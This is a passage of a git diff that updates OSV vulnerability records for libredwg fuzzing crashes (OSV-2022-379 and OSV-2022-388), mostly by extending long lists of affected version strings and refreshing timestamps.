","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936"],"ecosystem_specific":{"severity":null},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-379.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47014"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2022-379","published":"2022-04-27T00:00:44.539231Z","modified":"2026-11-12T14:30:05.295061106Z","summary":"Segv on unknown address in bit_write_TV","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47014\n\n```\nCrash type: Segv on unknown address\nCrash state:\nbit_write_TV\nbit_write_T\ndwg_encode_BLOCK\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"7bda865d59f843e174ac7e14c7dfe25243900956"}]}],"versions":["0.12.4.4522","0.12.4.4527","0.12.4.4530","0.12.4.4533","0.12.4.4535","0.12.4.4542","0.12.4.4544","0.12.4.4545","0.12.4.4548","0.12.4.4550","0.12.4.4553","0.12.4.4566","0.12.4.4567","0.12.4.4572","0.12.4.4583","0.12.4.4590","0.12.4.4598","0.12.4.4601","0.12.4.4606","0.12.4.4607","0.12.4.4608","0.12.4.4613","0.12.4.4615","0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936","0.14.8941","0.14.8946"],"ecosystem_specific":{"severity":null},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-379.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47014"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2022-388.json b/data/OSS-Fuzz/OSV-2022-388.json index c60a51c4d2..cd51663c81 100644 --- a/data/OSS-Fuzz/OSV-2022-388.json +++ b/data/OSS-Fuzz/OSV-2022-388.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2022-388","published":"2022-05-01T00:01:54.904711Z","modified":"2026-11-11T14:45:02.965884894Z","summary":"Segv on unknown address in dwg_ref_get_object","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47151\n\n```\nCrash type: Segv on unknown address\nCrash state:\ndwg_ref_get_object\ndwg_geojson_feature\ndwg_geojson_object\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"7bda865d59f843e174ac7e14c7dfe25243900956"}]}],"versions":["0.12.4.4522","0.12.4.4527","0.12.4.4530","0.12.4.4533","0.12.4.4535","0.12.4.4542","0.12.4.4544","0.12.4.4545","0.12.4.4548","0.12.4.4550","0.12.4.4553","0.12.4.4566","0.12.4.4567","0.12.4.4572","0.12.4.4583","0.12.4.4590","0.12.4.4598","0.12.4.4601","0.12.4.4606","0.12.4.4607","0.12.4.4608","0.12.4.4613","0.12.4.4615","0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.